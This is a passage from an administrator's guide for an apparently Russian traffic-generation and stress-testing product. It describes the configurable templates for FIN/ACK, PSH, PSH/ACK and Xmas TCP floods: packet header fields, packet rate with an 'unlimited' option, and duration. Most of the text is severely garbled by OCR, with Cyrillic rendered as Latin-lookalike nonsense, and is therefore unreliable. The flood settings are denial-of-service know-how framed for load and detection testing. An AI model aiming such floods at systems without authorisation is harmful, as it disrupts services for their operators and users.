yKa3bIBAOIICE MOPSA0K JaHHBIX B | Number SIBIISICTCSL: «0-
HOTOKE Mepeaayn 4294967295»)

n) Ilapamerpsl ckOpocTH — MapaMeTp, OTBEUAIOLIHI 32 CKOPOCTh NEpeIaun MAKETOB,

oIMcaHue KOTOpOro ykazaHo B Tabin. 56;

Taba. 56 — IlapameTp «CropocTb»

HasBanmue

Onucanmne 3HaueHmne

Tymbnep  «be3

MaxkcuMmainpHas MMPpOU3BOAUTCIIBHOCTD 6e3 | BKIFOYHTE/BEIKIIIOYNTH

OTrpaHUYCHUS OFpaHI/I‘IeHI/Iﬁ Ha KOJ-BO OTHPABIIACMBIX
3aIIPOCOB B CEKYHAY
ITakeroB B | Kakoe  konmuecTBO IIAKETOB Oyzer | 3amaiiTe YUCIOBOE 3HAYCHHE
CEKyHIYy OTIIPABJIEHO B OJHY CEKYHIY
Jlucm
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OTIIPAaBKOM
3aIIpOCOB

WuTepBan mexny

3aIIPOCOB B CEKYHIY.

OHIII/IH MO3BOJIAICT HACTPOUTH 3aACPIKKY
MCKIAY OTHpaBKOﬁ 3aJaHHOIr'o  KOJI-Ba

3amaiite YUCIOBOE 3HAUYEHNE

e) JlnuTensHOCTh - mapaMeTp, OTBEYAIOIIHMA 3a BpeMsl paOOThI IUIATMHA, OIUCAHKE

KOTOpOro yka3aHo B Taom. 57.

Taba. 57 — Ilapamerp «lauTeIBHOCTBY»

Ha3Banue Onucanue 3HaueHne
JlmuTenpbHOCTh Bpewmst renepanun tpadurka 3amaiiTe YUCIIOBOE 3HAYUCHHE W BBHIOEpETE
TeHepaIuu BEeIMYUHY (B CEKyHIAX, MHUHYTaX WJIH

yacax)

5.3.1.10 FIN/ACK Flood

FIN/ACK Flood — mrarmH pmns reHepamwu Tpaduka, KOTOPBIA OTIPABISET OOJIBIIOE

KOJIMYCCTBO IIAKETOB € YCTAHOBJICHHBIMU (1)J'IaFaMI/I FIN u ACK, YTO MOXKCT IIPUBCCTHU K

HCHY>XHOMY 3aBCPUICHUIO aKTUBHBIX COC,Z[HHeHI/Iﬁ. OTOT AabJIOH IMOMOTaeT IpOBECPUTH, KAK

CepBep pearrupyeT Ha TaKUe 3arpochl.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX TapaMeTPOB:

a) VcrouHuku — BBIOpaHHBIN areHT, nHTEp(deiic, ¢ KOTOPOro areHT OyIeT OTIPABIAThH

U TpUHUMATh TpahuK U OOBEKT OTHpaBHTENb (CM. 3aroyioBok 5.2.2.1 wmmm 5.2.2.2) nusa

reHepanuu Tpaduka;

0) Llenu — BEIOpaHHBIN OOBEKT MOTyYaTENb (CM. 3aroJIOBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek IP 3aronoBkoB Ha yposHe L3 TPC/IP,

OIMcaHMe KOTOPbIX yKa3aHbl B Tabm. 58;

Taoa. 58 — IHapametpsl «IP 3aronosok (L3)»

Ha3panue Onucanue 3HayeHue
TTL (Time to [Mapametrp TTL ompenensieT makcumanbHOe | 3ajmaiiTe YHCIIOBOE 3HaYCHUE (mmo
Live)

KOJIMYECTBO  MapIIPYTH3aTOPOB  (XOMOB),
4gepe3 KOTOpbIE MOXET MPOUTH MakKeT

JTAaHHBIX, MPEXKIC YeM OH OyAeT OTOPOIICH.

yMoiyaHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 310 mnosnie B 3aronoBke IP-nakera,

3anaiite YUCJIOBOE 3HAUECHUE (o

Service) KOTOpOE HCIOJIB3YeTCsl Uil OmpelesieHnst | ymondaHuto, 3HaueHne DSCP siBisiercsi: «7»)
npuopuTeTa 1 00paboTku Tpaduka
ECN — 570 MexaHU3M, KOTOPHIH 103BOJIseT | BriOepere 3HaUCHHE U3 CITHCKA:
MapuIpyTH3aTOpaM  yBEJOMJISTE Y316l O | 00 (Non-ECT)
neperpy3kax B ceTu 6e3 cOpoca maKeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Crny4aiHbIii VHUKaJIBHBI ~ WICHTU(QHUKATOP  MHaKeTa, | BKIIOYUTH/BBIKIIOYUTH TyMOIIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoM s

U3m.

Jlucm

Ne dokym.

lModnucs |dama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

Jlucm
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pa3iuyeHus: PparMeHTOB OJTHOTO U TOTO XKE
IP-nmakera

3urayenne ID YucnoBoil uACHTH(PUKATOP, NPHUCBOCHHBIN
IS ero | yMoim4aHWio, 3HaueHHe «3HaueHue I[D»
WACHTU(QHUKAINKA TpH (parMeHTarmmu u | seisercs: «0-65535»)

cOopke

KaXIOMy

[TapameTtp

IP-naketry

JIOCTYTIEH, €CIH  Tapamerp
«Ciryuaitaerii ID» BHIKITIOUCH

3apgaiite

YHCJIIOBOC 3HA4YCHUC (HO

r) TCP 3aronosok (L4) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposue L4 TPC/IP,

OIMCaHue KOTOPBIX yKa3aHbl B Tabn. 59;

Taba. 59 — IHapametpsol «TCP 3arosoBok (L4)»

CETMEHTa)

Ha3zBanmne Onucanue 3Hauyenue
Max. Segment Size | MakcuManbpHBIA pa3Mep cerMeHTa | 3amaiiTe 4YucIOBO€ 3HadeHue (1o
(MaxkcumanbHbII pa3mep

oIpenenseT MAaKCHUMaJIbHbII
00BEM TAHHBIX, KOTOPBIH MOXKET
ObITh Tepenan B omgHoM TCP-

CEIMCHTC

YMOJIYaHHUIO, 3HadeHue  Max.

Segment Size sBisgercs: «1460»)

WS (IP Options)

Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHN3MY
MacmtabupoBanust okHa TCP,
KOTOpBIH IO3BOJISIET  YBEJIUYHUTH
pasMep OKHa Ml yNpaBICHUS
MTOTOKOM JaHHBIX.

3amaiiTe YHUCIOBOE 3HA4YCHHE (ITO
YMOJTYaHHIO, 3HAYEHUE WS
SIBISIETCS: «64%)

Window Size (Pa3zmep oxHa)

Pasmep okna TCP omnpeapenser
00bEM JaHHBIX, KOTOPBIA MOXKET
OBITh OTIpaBiIeH 0e3 OXHIAHHS
TTOJITBEPKICHUS OT MOIydaTeIs.

3amaiiTe YHUCIOBOE 3Ha4YeHHE (IO
yMoJuaHuoo, 3HadeHue Window
Size siBnsiercs: «256»)

Crnyuaiinsiii Sequence Number

CnyuaifHoe 4HCII0, UCIOJIB3YyEMOE
JJIsL WHHUIIHAJIN3allunu
HOCJIEI0BATEIbHOCTH HOMEPOB B
IPOTOKOJIAX CBSI3M  (Hampumep,
TCP)

BITIOYHTE/BEIKITFOUUTH TyMOIIEp

3nayenue Sequence Number

Tekymiee YUCIIO B
[OCJIEI0BATEILHOCTH,
yKa3bIBaOIIee MOPSAOK JaHHBIX B
MOTOKE Meperayu

3amaiiTe YHUCIOBOE 3Ha4YeHHE (IO
YMOJUYaHHIO, 3HaueHHe Sequence
Number SIBIISICTCS: «0-
4294967295»)

,Z[) HapaMeTpLI CKOPOCTH — IMapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTH NepCaavuu 1akCToOB,

oIMcaHue KOTOporo ykazaHo B Tabxa. 60;

Tabua. 60 — ITapamerp «CkopocTb»

HazBanmue

Onucanmne

3uauenue

Tymbnep  «be3 | MakcumanbsHas MPOU3BOIUTEIBHOCTh 0e€3
OTpaHUYEHUS OTpaHUYEHUN Ha KOJ-BO OTIPABIISIEMBIX
3aMpoCOB B CEKYHIY

BKIIIOUNTE/BBIKIIOUNTE

ITakeToB B | Kakoe
CeKyHy OTMPABJIEHO B OJIHY CEKYHIY

KOJIMYCCTBO IIaK€TOB 6yz[eT 3a)1a171Te YHUCJIOBOC 3HAYCHUEC

U3m.

Jlucm

Ne dokym. lModnuck

[ama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

Jlucm

sepcuu 1.4 48




OTIIPAaBKOM
3aIIpOCOB

WuTepBan mexny

3aIIPOCOB B CEKYHIY.

OHIII/IH MO3BOJIAICT HACTPOUTH 3aACPIKKY
MCKIAY OTHpaBKOﬁ 3aJaHHOIr'o  KOJI-Ba

3amaiite YUCIOBOE 3HAUYEHNE

e) JlnuTensHOCTh - mapaMeTp, OTBEYAIOIIHMA 3a BpeMsl paOOThI IUIATMHA, OIUCAHKE

KOTOpOro yka3aHo B Ta0im. 61.

Taba. 61 — Ilapamerp «lauTEIBHOCTDY»

Ha3Banue Onucanue 3HaueHne
JlmuTenpbHOCTh Bpewmst renepanun tpadurka 3amaiiTe YUCIIOBOE 3HAYUCHHE W BBHIOEpETE
TeHepaIuu BEeIMYUHY (B CEKyHIAX, MHUHYTaX WJIH

yacax)

5.3.1.11 PSH Flood

PSH Flood — muarus st reHepanuu Tpaduka, KOTOPBIA OTIPABIISIET OOJIBIIOE KOJIUYECTBO

MaKeTOB C ycTaHOBIeHHBIM (iarom PSH, TpeOyronmx HemeaneHHo 00pabOTKK JaHHBIX Ha

CTOPOHC TI0JIYYaTcCJidd.

OToT 1Ia0IOH HUCIOJIB3YCTCA IJId TCECTHPOBAHUS HpOHYCKHOﬁ

CIIOCOOHOCTH CepBEpa U €ro CriocoOHOCTH 00padaThIBaTh MHTEHCUBHBINA TpaUK.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX TapaMeTPOB:

a) VcrouHuku — BBIOpaHHBIN areHT, nHTEp(deiic, ¢ KOTOPOro areHT OyIeT OTIPABIAThH

U TpUHUMATh TpahuK U OOBEKT OTHpaBHTENb (CM. 3aroyioBok 5.2.2.1 wmmm 5.2.2.2) nusa

reHepanuu Tpaduka;

0) Llenu — BEIOpaHHBIN OOBEKT MOTyYaTENb (CM. 3aroJIOBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek IP 3aronoBkoB Ha yposHe L3 TPC/IP,

OIMcaHMe KOTOPbIX yKa3aHbl B Tabn. 62;

Tada. 62 — IHapamerpsl «IP 3aronosoxk (L3)»

Ha3panue Onucanue 3HayeHue
TTL (Time to [Mapametrp TTL ompenensieT makcumanbHOe | 3ajmaiiTe YHCIIOBOE 3HaYCHUE (mmo
Live)

KOJIMYECTBO  MapIIPYTH3aTOPOB  (XOMOB),
4gepe3 KOTOpbIE MOXET MPOUTH MakKeT

JTAaHHBIX, MPEXKIC YeM OH OyAeT OTOPOIICH.

yMoiyaHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of

DSCP — 310 mnosnie B 3aronoBke IP-nakera,

3anaiite YUCJIOBOE 3HAUECHUE (o

Service) KOTOpOE HCIOJIB3YeTCsl Uil OmpelesieHnst | ymondaHuto, 3HaueHne DSCP siBisiercsi: «7»)
npuopuTeTa 1 00paboTku Tpaduka
ECN — 570 MexaHU3M, KOTOPHIH 103BOJIseT | BriOepere 3HaUCHHE U3 CITHCKA:
MapuIpyTH3aTOpaM  yBEJOMJISTE Y316l O | 00 (Non-ECT)
neperpy3kax B ceTu 6e3 cOpoca maKeToB. 01 (ECT(1))
10 (ECT(0))
11 (CE (Congestion Experienced))
Crny4aiHbIii VHUKaJIBHBI ~ WICHTU(QHUKATOP  MHaKeTa, | BKIIOYUTH/BBIKIIOYUTH TyMOIIEp
ID BBIOpaHHBIH  CilydaiiHBIM  oOpazoM s

U3m.

Jlucm

Ne dokym.

lModnucs |dama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

Jlucm
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pa3iuyeHus: PparMeHTOB OJTHOTO U TOTO XKE
IP-nmakera

3urayenne ID YucnoBoil uACHTH(PUKATOP, NPHUCBOCHHBIN
IS ero | yMoim4aHWio, 3HaueHHe «3HaueHue I[D»
WACHTU(QHUKAINKA TpH (parMeHTarmmu u | seisercs: «0-65535»)

cOopke

KaXIOMy

[TapameTtp

IP-naketry

JIOCTYTIEH, €CIH  Tapamerp
«Ciryuaitaerii ID» BHIKITIOUCH

3apgaiite

YHCJIIOBOC 3HA4YCHUC (HO

r) TCP 3aronosok (L4) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposue L4 TPC/IP,

OIMCaHMe KOTOPBIX yKa3aHbl B Tabn. 63;

Ta6a. 63 — Iapametpsnl «TCP 3arosoBok (L4)»

CETMEHTa)

Ha3zBanmne Onucanue 3Hauyenue
Max. Segment Size | MakcuManbpHBIA pa3Mep cerMeHTa | 3amaiiTe 4YucIOBO€ 3HadeHue (1o
(MaxkcumanbHbII pa3mep

oIpenenseT MAaKCHUMaJIbHbII
00BEM TAHHBIX, KOTOPBIH MOXKET
ObITh Tepenan B omgHoM TCP-

CEIMCHTC

YMOJIYaHHUIO, 3HadeHue  Max.

Segment Size sBisgercs: «1460»)

WS (IP Options)

Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHN3MY
MacmtabupoBanust okHa TCP,
KOTOpBIH IO3BOJISIET  YBEJIUYHUTH
pasMep OKHa Ml yNpaBICHUS
MTOTOKOM JaHHBIX.

3amaiiTe YHUCIOBOE 3HA4YCHHE (ITO
YMOJTYaHHIO, 3HAYEHUE WS
SIBISIETCS: «64%)

Window Size (Pa3zmep oxHa)

Pasmep okna TCP omnpeapenser
00bEM JaHHBIX, KOTOPBIA MOXKET
OBITh OTIpaBiIeH 0e3 OXHIAHHS
TTOJITBEPKICHUS OT MOIydaTeIs.

3amaiiTe YHUCIOBOE 3Ha4YeHHE (IO
yMoJuaHuoo, 3HadeHue Window
Size siBnsiercs: «256»)

Crnyuaiinsiii Sequence Number

CnyuaifHoe 4HCII0, UCIOJIB3YyEMOE
JJIsL WHHUIIHAJIN3allunu
HOCJIEI0BATEIbHOCTH HOMEPOB B
IPOTOKOJIAX CBSI3M  (Hampumep,
TCP)

BITIOYHTE/BEIKITFOUUTH TyMOIIEp

3nayenue Sequence Number

Tekymiee YUCIIO B
[OCJIEI0BATEILHOCTH,
yKa3bIBaOIIee MOPSAOK JaHHBIX B
MOTOKE Meperayu

3amaiiTe YHUCIOBOE 3Ha4YeHHE (IO
YMOJUYaHHIO, 3HaueHHe Sequence
Number SIBIISICTCS: «0-
4294967295»)

,Z[) HapaMeTpLI CKOPOCTH — IMapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTH NepCaavuu 1akCToOB,

OIMcaHue KOTOPOro ykazaHo B Ta0in. 64;

Tabu. 64 — Ilapamerp «CkopocTb»

HazBanmue

Onucanmne

3uauenue

Tymbnep  «be3 | MakcumanbsHas MPOU3BOIUTEIBHOCTh 0e€3
OTpaHUYEHUS OTpaHUYEHUN Ha KOJ-BO OTIPABIISIEMBIX
3aMpoCOB B CEKYHIY

BKIIIOUNTE/BBIKIIOUNTE

ITakeToB B | Kakoe
CeKyHy OTMPABJIEHO B OJIHY CEKYHIY

KOJIMYCCTBO IIaK€TOB 6yz[eT 3a)1a171Te YHUCJIOBOC 3HAYCHUEC

U3m.

Jlucm

Ne dokym. lModnuck

[ama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

Jlucm

sepcuu 1.4 50




OTIIPAaBKOM
3aIIpOCOB

WuTepBan mexny

3aIIPOCOB B CEKYHIY.

OHIII/IH MO3BOJIAICT HACTPOUTH 3aACPIKKY
MCKIAY OTHpaBKOﬁ 3aJaHHOIr'o  KOJI-Ba

3amaiite YUCIOBOE 3HAUYEHNE

e) JlnuTensHOCTh - mapaMeTp, OTBEYAIOIIHMA 3a BpeMsl paOOThI IUIATMHA, OIUCAHKE

KOTOpPOTo yka3aHo B Ta0Oi. 65.

Tabua. 65— Iapamerp «lauTEIBHOCTBY»

Ha3Banue Onucanue 3HaueHne
JlmuTenpbHOCTh Bpewmst renepanun tpadurka 3amaiiTe YUCIIOBOE 3HAYUCHHE W BBHIOEpETE
TeHepaIuu BEeIMYUHY (B CEKyHIAX, MHUHYTaX WJIH

yacax)

5.3.1.12 PSH/ACK Flood

PSH/ACK Flood — mmarun s reHepanuu Tpaduka, KOTOPBIA OTIPaBISET OOJBIIOE

konuyecTBO makeToB ¢ ¢umaramu PSH u ACK, co3nmaBas Harpy3ky Ha cepBep H3-3a

HEOOXOAUMOCTH HEMEIJICHHONH 0OpaOOTKH JaHHBIX. DTOT IIAOJIOH MOMOTraeT OICHUTh, KaK

CCPBECP CIIPABIIACTCA C BBICOKOM MHTEHCHBHOCTBIO 3aIIpOCOB.

JIaHHBIN IUIArMH COCTOUT U3 CIEAYIOUIUX TapaMeTPOB:

a) VcrouHuku — BeIOpaHHBIN areHT, HUHTEp(dElic, ¢ KOTOPOro areHT 0y1eT OTIPABIAThH

U NpUHMMATh TpapuK U OOBEKT OTHpaBuUTeNnb (CM. 3aroigoBok 5.2.2.1 wmm 5.2.2.2) nns

reHepanuu Tpapuka;

0) Llenu — BEIOpaHHBIN OOBEKT MOTyYaTENb (CM. 3arojIOBOK 5.2.2.3);

B) IP 3aronosok (L3) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposHe L3 TPC/IP,

OIMcaHMue KOTOPbIX yKa3aHbl B Tabn. 66;

Taba. 66 — IHapametpsl «IP 3aronosox (L3)»

HaszBanmue

Onucanmne

3HaueHnune

TTL (Time to
Live)

[Mapamerp TTL omnpexnensieT MakcuMalbHOE
KOJIMYECTBO  MapIIPYTH3aTOPOB  (XOMOB),
yepe3 KOTOpbIE MOXET MPOUTH MaKeT

JTAaHHBIX, IPEXIE 9YeM OH OyAeT OTOpOIIeH.

3apgaiite YUCIIOBOE 3HAUEHHE (o
yMoiyaHuioo, 3HaueHue TTL sBusercs:

«128»)

ToS (Type of
Service)

DSCP — 310 moje B 3arojioBke IP-makera,
KOTOpPOE WCIONB3YeTCS JUIsl  OIpeaeIeHHs
npropuTeTa u 00paboTKu Tpaduka

3anaiite YHCIIOBOE 3HaYCHNE (o
yMmourdanuio, 3Hauene DSCP sBnsiercst: «7»)

ECN — »T0 MexaHHU3M, KOTOPBIN MO3BOISET
MapupyTU3aTopaM yBEJOMISATH Y3Ibl O
neperpyskax B ceTu 6e3 coOpoca makeTos.

Bribepere 3HaueHHNE U3 CIMCKA:
00 (Non-ECT)

01 (ECT(1))

10 (ECT(0))

11 (CE (Congestion Experienced))

U3m.

Jlucm

Ne dokym.

lModnucs |dama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT
sepcuu 1.4 51

Jlucm




Cry4aiiHblii
ID

VYHuUKambHBIH — HACHTU(UKATOpP  IaKerTa,
BBIODAHHBIH  CIy4alHBIM  00pa3oM  yis
pa3iuyeHuss PparMeHTOB OJTHOTO U TOTO XKE
IP-nakera

BKJIIOUHTE/BBIKITIOUUTE TYMOJIED

3navenue ID YucnoBoil uIeHTH(HUKATOP, NPHUCBOCHHBIN | 3amaiTe YHUCIIOBOE 3HaYCHUE (o
KOKIOMY IP-naketry JUISL ero | yMoim4aHWIO, 3HaueHHe «3HaueHue I[D»
WACHTU(QHUKAINKA TIpH (parMeHTarmmu u | sBisgercs: «0-65535»)
cOopke
[Tapamerp mocTymeH, ecam  HapaMmeTp

«Ciryuaitaerii ID» BHIKITIOUCH

r) TCP 3aronosok (L4) — mapamerpsl HacTpoek IP 3aronoskoB Ha yposue L4 TPC/IP,

OIMCaHMe KOTOPBIX yKa3aHbl B Tabn. 67;

Taba. 67 — IHapamerpsol «TCP 3arosiosok (L4)»

Ha3zBanmne Onucanue 3nauyenue
Max. Segment Size | MakcuManbpHBIA pazMep cerMeHTa | 3amaiiTe 4YuciIoBO€ 3HadeHue (1o
(MakcnmanbHeli PasMep | onpenenser MaKCUMAJIbHBIM | YMOJIYaHUIO, 3HadeHue  Max.
CETMEHTA)

00bEM JaHHBIX, KOTOPBIA MOXKET
ObITh Tepenan B omgHoM TCP-

CEIMCHTC

Segment Size siBisiercst: «1460»)

WS (IP Options)

Mapamerp WS (Window Scale)
OTHOCHTCS K MEXaHU3MY
MacmtabupoBanust okHa TCP,
KOTOPBIH TO3BOJISIET  YBEJIUYUTH
pasMep OKHa il yNpaBJICHUS
MTOTOKOM JaHHBIX.

3amaiiTe YHUCIOBOE 3Ha4YCHHE (ITO
YMOJTYaHHIO, 3HAYEHUE WS
SIBISIETCS: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00bEM IIaHHBIX, KOTOPBIA MOXET
OBbITh OTHpaBlieH 0e3 OXUIaHH
HOATBEP KACHUS OT HOTyJaTes.

3anaiiTe 4nciIoBOoe 3Ha4YeHHE (TI0
yMoiuaHuioo, 3HadyeHue Window
Size siBnsiercs: «256»)

Crnyuaiinsnii Sequence Number

CiyuaifHoe 4HCII0, UCIOJIB3YyEMOE

BrITIOYHTE/BEIKITFOUUTH TyMOIIEp

TSt MHHIUATH3A1UH
MOCJIEIOBATEILHOCTH HOMEPOB B
IPOTOKOJIAX CBSI3M  (Hampumep,
TCP)

3nayenue Sequence Number Tekymiee YHUCIIO B | 3amaiiTe 4uclioBoe 3HaueHue (10
TIOCIIEI0BATEILHOCTH, YMOJUYaHHIO, 3HAUeHHE Sequence

YKa3bIBaromiee nopsaoK JaHHbIX B
MOTOKE Mepeaavin

Number «0-

4294967295»)

SIBJIACTCA:

,Z[) HapaMeTpLI CKOPOCTH — IMapaMeTp, OTBEYAIOIIUM 3a CKOpPOCTDH NepCaavuu 1akeToOB,

oIMcaHue KOTOporo ykazaHo B Ta0mn. 68;

Tabua. 68 — Ilapamerp «CkopocTb»

HasBanue Onucanne 3HayeHune
Tymbnep  «be3 | MakcumanbsHas MPOU3BOIUTENBHOCTh 0€3 | BKIFOUNTH/BBIKIIOYHTH
OTrpPaHUYEHUS OTpaHUYEHUN Ha KOJ-BO OTIPABIISIEMBIX

3aMpOCOB B CEKYHIY

U3m.

Jlucm

Ne dokym. lModnuck

[ama

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT
sepcuu 1.4

Jlucm

52




ITaketoB B | Kakoe KOJIMYECTBO aKeTOB Oyzxer | 3amaiiTe YUCIOBOEC 3HAYCHHME
CeKyHay OTIPABJIEHO B OJIHY CEKYHIY

WntepBan Mexnay | Onmus mNO3BOMSIET HACTPOUTH 3aAEPXKKy | 3aaaiiTe YUCIOBOE 3HAYCHUE
OTIPaBKOH MEXAYy OTHPAaBKOM 3aJaHHOTO  KOJI-Ba
3aIpocoB 3aIPOCOB B CEKYHIY.

e) JlnuTensHOCTh - mapaMeTp, OTBEYAIOIIHMA 3a BpeMsl paOOThI IUIATMHA, OIUCAHHE

KOTOpOro ykazano B Tabm. 69.

Taba. 69 — Ilapamerp «lauTEIBLHOCTBY»

Hazpanmue Onucanmne 3HaueHnmne
JlmuTenpHOCTH Bpewms renepamnun Tpaduka 3anaiiTe YMCIIOBOE 3HAUCHHE M BBIOCpETE
TeHepamnnu BEeIMYUHY (B CEKyHIAX, MUHYTaX HWIIH
gacax)

5.3.1.13 Xmas Flood (All flags)

Xmas Flood (All flags) — mmarun ans reHepauuu Tpaduka, KOTOPBIM OTIpaBiseT OO0JbIIOe
KOJIMYECTBO MakeToB ¢ yctanoBneHHbIMU Bcemu (uiaramu TCP (URG, ACK, PSH, RST, SYN,
FIN). DToT 11a6J10H UCTIONB3YeTCsI AJ1sl IPOBEPKU YCTOMYUBOCTH CETEBBIX YCTPOICTB M CUCTEM
OoOHapy>KeHHsI BTOPKEHUH K HEOOBIYHBIM U MIOTEHIIMAIBHO BPETOHOCHBIM ITaKEeTaM.
JIaHHBIH TUTarUH COCTOUT U3 CJIEAYIOIINUX MapaMeTPOB:

a) VcrouHuku — BBIOpaHHBIN areHT, HHTep(deiic, ¢ KOTOPOTo areHT Oy1eT OTIPABIAThH
U OpUHHUMATh TpaQuUK U OOBEKT OTHpaBUTENb (CM. 3arojoBok 5.2.2.1 wmm 5.2.2.2) g
reHepanuu Tpaduka;

6) Llenu — BeIOpaHHBINM 0OBEKT MOMyUYaTENb (CM. 3aroJIoBOK 5.2.2.3);

B) [P 3aronoBok (L3) — mapametpsl HacTpoek IP 3aronoBkoB Ha yposHe L3 TPC/IP,

oIMcaHue KOTOPBIX yKa3aHbl B Tabn. 70;

Tada. 70 — IHapametpsl «IP 3aronosoxk (L3)»

Ha3Banmue Onucanmne 3uauenue

TTL (Time to [Mapamerp TTL ompenensieT mMakcuMmalibHOE | 3amaiiTe YHCIIOBOE 3HAYCHHUE (mmo
Live) KOIIMYECTBO ~ MapIIPyTU3aTOPOB  (XOMOB), | yMonuanuio, 3HadeHue TTL  sBnsercs:
gepe3 KOTOpBIE MOXET TPOUTH TakeT | «128»)

JTAaHHBIX, MPEXKIC YeM OH OyAeT OTOPOIICH.

ToS (Type of | DSCP — 3to none B 3aronoBke [P-makera, | 3anmaiite YHUCJIOBOE 3HAYeHUE (o
Service) KOTOpPOE WCIONB3YeTCs Ui OIpelneieHus | yMmonuanuto, 3HadeHrne DSCP sisetcs: «7»)
npropuTeTa u 00paboTKH Tpaduka

ECN — 3T0 MexaHu3M, KOTOPBIN M03BOJsIET | BriOepere 3HaUeHHE U3 CIMCKA!

MapIIpyTH3aTOpaM  yBEJOMISITE  y3ibl O | (00 (Non-ECT)
neperpyskax B ceTu 6e3 coOpoca ImakeTos. 01 (ECT(1))

10 (ECT(0))

Jlucm

Pykosodcmeo admHuucmpamopa 0ns 10 Nepeceem-CT

U3m.

Jlucm
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11 (CE (Congestion Experienced))

CrygaiHbIi
ID

VHUKaNbHBIA ~ HISHTUPUKATOP  TTaKeTa,
BEIOpaHHBIH  CIy4aHBIM  0Opa3oM Ui
pa3nu4aeHnst GparMeHTOB OJTHOTO U TOTO XKE
[P-nakera

BKITI04UTE/BBIKITIIOUNTH TYyMOIED

3nauyenue ID

UucnoBoil WACHTHU(PHUKATOP, TPHCBOCHHBIHA
KaXkIoMy IP-nakery Tt €ro
uaeHTHuGUKauMK 1npu  QpparMeHTanuN |

3amaiite YUCIIOBOE 3HAYEHNE (o
yMOJTYaHHIoO, 3HaueHue «3HaueHwe [Dy»
sBiseTcs: «0-65535)

cOopke

ITapametp

JIOCTYIIEH, €CIIA  IIapaMeTp
«Cryuaitnsrii ID» BeIKIIIOUEH

r) TCP 3aronoBok (L4) — mapamerpst HacTpoek IP 3aronoskos Ha yposue L4 TPC/IP,

oIMcaHue KOTOPbIX yKa3aHbl B Tabn. 71;

Taba. 71 — IHapametrpsl «TCP 3arososoxk (L4)»

CerMeHTA)

Ha3panue Onucanue 3HauyeHue
Max. Segment Size | MakcumanbpHBIH pa3Mep CerMeHTa | 3agaidiTe YUCIIOBOE 3HaueHHe (10
(MakcuManbHBIN pasmep

OIpe/IeNsieT MaKCHMAITbHbIH
00bEM JaHHBIX, KOTOPBIA MOXKET
ObITh mepean B ogHoM TCP-

CCI'MCHTC

YMOJI4aHURO, 3HA4YCHUC Max.

Segment Size siBisiercst: «1460»)

WS (IP Options)

IMapamerp WS (Window Scale)
OTHOCHUTCHA K MEXaHU3MY
MmacmrabupoBanusi okHa TCP,
KOTOpBIﬁ TO3BOJIACT YBEJIUYUTDH
pasMep OKHa /sl yNpaBJCHUs
IIOTOKOM JIaHHBIX.

3anaiite 4MciIoBOe 3HadeHHE (T10
YMOJTYaHHIO, 3Ha4YCHUE WS
ABIISETCA: «64»)

Window Size (Pa3mep okHa)

Pasmep oxna TCP ompenenser
00BEM TaHHBIX, KOTOPBIH MOXET
OBITh OTHpaBlieH 0e3 OXXUIaHHs
HOATBEP KACHUS OT HOTyJaTes.

3anaiiTe 4mMciIoBOe 3Ha4YeHHE (TI0
yMoJuYaHuo, 3HadueHHe Window
Size sBisieTcs: «256»)

Crnyuaiineiii Sequence Number

CnyyaliHO€ 4YMCIO, UCIIOJIB3YEMOE
Ut MHHULUATIH3a1H
MIOCIIEI0OBATEILHOCTH HOMEPOB B
MIPOTOKONIAX CBSA3M  (Hampumep,
TCP)

BKITIOYHTE/BBIKITIOUUTH TyMOJIED

3nauenue Sequence Number

Texymee YHUCIIO B
MTOCTIEIOBATENBHOCTH,
yKa3bIBaloIlee MOPSIA0K JaHHBIX B
MOTOKE Mepenadu

3amaifre YncioBOe 3HadeHHe (IO
YMOJYaHHIO, 3HaueHHe Sequence
Number SBIISICTCS: «0-
4294967295»)

n) Ilapamerpsl ckopocTH — MapaMeTp, OTBEYAIOLIHI 32 CKOPOCTh NEpeIaun MAaKeTOB,

omMcaHue KOTOpOro ykazaHo B Tabn. 72;

Ta6a. 72 — IlapameTp «CkopocTb»

HazBanmue

Onucanmne

3uauenue

Tymbnep  «be3 | MakcumanbHasi TPOU3BOIMTEIBHOCTE 0e3
OTpaHUYEHHSD» OTpaHMYEHUH Ha KOJ-BO OTIHPABIISEMbIX
3allpOCOB B CEKYHIY

BK1I0YNTE/BBIKIIIOYNTH

U3m.

Jlucm

Ne dokym. lModnuck

[ama
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ITaketoB B
CeKyHay

Kakoe  KoiM4ecTBO  MakeToB  Oyzaer
OTIIPABICHO B OJHY CEKYHIY

3amaiite YUCIOBOE 3HAUYEHNE

HurepBan mexny
OTIPaBKOH
3aIpocoB

Onuust TO3BONAET HACTPOHUTH 3aJCPIKKY
MEXKAy OTHPaBKOW 3aJaHHOTO  KOJ-Ba
3aIPOCOB B CEKYHIY.

3agaiiTe YUCIOBOE 3HAUEHUE

e) JlnuTensHOCTh - mapaMeTp, OTBEYAIOIIHMA 3a BpeMsl paOOThI IUIATMHA, OIUCAHHE

KOTOpOro ykazano B Tabn. 73.

Tabua. 73 — Ilapamerp «lauTEIBHOCTBY»

Hazpanmue Onucanmne 3HaueHnmne
JlmuTenpHOCTH Bpewms renepamnun Tpaduka 3anaiiTe YMCIIOBOE 3HAUCHHE M BBIOCpETE
TeHepamnnu BEeIMYUHY (B CEKyHIAX, MUHYTaX HWIIH

gacax)

5.3.1.14 UDP Flood

